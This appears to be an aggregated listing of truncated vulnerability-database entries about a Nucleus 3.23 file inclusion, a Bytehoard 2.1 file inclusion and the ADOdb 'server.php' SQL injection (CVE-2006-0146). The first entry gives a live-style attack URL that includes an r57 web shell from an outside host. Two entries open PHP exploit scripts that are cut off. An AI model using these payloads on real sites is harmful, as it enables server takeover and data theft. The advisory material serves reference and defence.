file include exploits in nucleus 3.23

Multiple file include exploits in nucleus 3.23 script type : nucleus 3.23 bug found by : sweet-devil team : site-down type : file include exploits : action.php http://www.example.com/path/action.php?DIRLIBS=http://yoursite/r57shell.txt? media.php...

Bytehoard 2.1 - server.php Remote File Inclusion

Bytehoard 2.1 - server.php Remote File Inclusion Script: Bytehoard 2.1 Epsilon/Delta www.bytehoard.org Discovered: beford File: ./bytehoard/includes/webdav/server.php Vuln: Remote File Include code requireonce $bhconfig'bhfilepath'."/includes/webdav/parsepropfind.php"; /code...

Bytehoard 2.1 (server.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================ Bytehoard 2.1 server.php Remote File Include Vulnerability ============================================================ Script: Bytehoard 2.1 Epsilon/Delta www.bytehoard.org...

FreeBSD : lifetype -- ADOdb 'server.php' Insecure Test Script Security Issue (116b0820-d59c-11da-8098-00123ffe8333)

Secunia reports : A security issue has been discovered in LifeType, which can be exploited by malicious people to execute arbitrary SQL code and potentially compromise a vulnerable system. The problem is caused due to the presence of the insecure 'server.php' test script. %NASLMINLEVEL 70300 C...

FreeBSD : cacti -- ADOdb 'server.php' Insecure Test Script Security Issue (79c1154d-d5a5-11da-8098-00123ffe8333)

Secunia reports : Cacti have a security issue, which can be exploited by malicious people to execute arbitrary SQL code and potentially compromise a vulnerable system. The problem is caused due to the presence of the insecure 'server.php' test script. %NASLMINLEVEL 70300 C Tenable Network Securit...

lifetype -- ADOdb "server.php" Insecure Test Script Security Issue

Secunia reports: A security issue has been discovered in LifeType, which can be exploited by malicious people to execute arbitrary SQL code and potentially compromise a vulnerable system. The problem is caused due to the presence of the insecure "server.php" test script...

[SA19563] MAXdev MD-Pro ADOdb "server.php" Insecure Test Script Security Issue

TITLE: MAXdev MD-Pro ADOdb "server.php" Insecure Test Script Security Issue SECUNIA ADVISORY ID: SA19563 VERIFY ADVISORY: http://secunia.com/advisories/19563/ CRITICAL: Moderately critical IMPACT: Security Bypass, System access WHERE: From remote SOFTWARE: MAXdev MD-Pro 1.x...

ADODB < 4.70 (PhpOpenChat 3.0.x) Server.php SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= ADODB 4.70 PhpOpenChat 3.0.x Server.php SQL Injection Exploit ================================================================= !/usr/bin/php -q -d shortopentag=on ? echo...

ADODB 4.70 (PHPOpenChat 3.0.x) - Server.php SQL Injection

ADODB 4.70 PHPOpenChat 3.0.x - Server.php SQL Injection !/usr/bin/php -q -d shortopentag=on ? echo "PhpOpenChat 3.0.x ADODB Server.php "sql" SQL injection\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "dork: Welcome to your...

phpRPC Library rpc_decoder.php decode() Function Arbitrary Code Execution

The remote host has installed on it the phpRPC library, an xmlrpc library written in PHP and bundled with applications such as RunCMS and exoops. The version of phpRPC on the remote host fails to sanitize user input to the 'server.php' script before using it in an 'eval' function, which may allow...

ADOdb server.php sql Parameter SQL Injection

The remote host is running ADOdb, a database abstraction library for PHP. The installed version of ADOdb includes a test script named 'server.php' that fails to sanitize user input to the 'sql' parameter before using it in database queries. An attacker can exploit this issue to launch SQL injecti...

CVE-2006-0146

CVE-2006-0146 affects ADOdb for PHP (before 4.70) used by Moodle, Cacti, Mantis, PostNuke, Xaraya, PHPOpenChat, MAXdev MD-Pro, MediaBeez, etc. The vulnerability arises from the MySQL root password being empty, enabling remote SQL execution via the sql parameter. Connected OpenVAS advisories corro...

cacti -- ADOdb "server.php" Insecure Test Script Security Issue

Secunia reports: Cacti have a security issue, which can be exploited by malicious people to execute arbitrary SQL code and potentially compromise a vulnerable system. The problem is caused due to the presence of the insecure "server.php" test script...